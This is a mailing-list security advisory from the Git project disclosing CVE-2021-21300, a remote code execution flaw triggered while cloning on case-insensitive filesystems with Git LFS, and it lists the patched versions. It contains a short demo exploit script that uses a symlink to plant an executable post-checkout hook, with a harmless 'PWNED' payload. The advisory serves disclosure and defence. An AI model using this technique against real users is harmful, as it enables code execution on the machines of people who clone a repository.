Date: Tue, 9 Mar 2021 16:03:37 +0100 (CET) From: Johannes Schindelin <Johannes.Schindelin@....de> To: oss-security@...ts.openwall.com cc: git-security@...glegroups.com, Matheus Tavares <matheus.bernardino@....br> Subject: git: malicious repositories can execute remote code while cloning Team, The Git project released new versions on Tuesday, March 9th 2021 addressing CVE-2021-21300. This vulnerability affects platforms with case-insensitive filesystems with support for symbolic links, when certain clean/smudge filters are configured globally (e.g. Git LFS). The fixed versions are v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4, v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3, and v2.30.2. Link to the announcement: https://firstname.lastname@example.org/T/#u We highly recommend to upgrade. The addressed issue is: * CVE-2021-21300: On case-insensitive filesystems, with support for symbolic links, if Git is configured globally to apply delay-capable clean/smudge filters (such as Git LFS), Git could be fooled into running remote code during a clone. Demo exploit: #!/bin/sh git init delayed-checkout && ( cd delayed-checkout && echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \ >.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial ) && git clone delayed-checkout cloned With Git LFS enabled globally, this will print "PWNED" during the clone on case-insensitive file systems with support for symbolic links (such as NTFS, HFS+, etc). Credit for finding the vulnerability goes to Matheus Tavares who also worked with me on fixing it. Thanks, Johannes
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.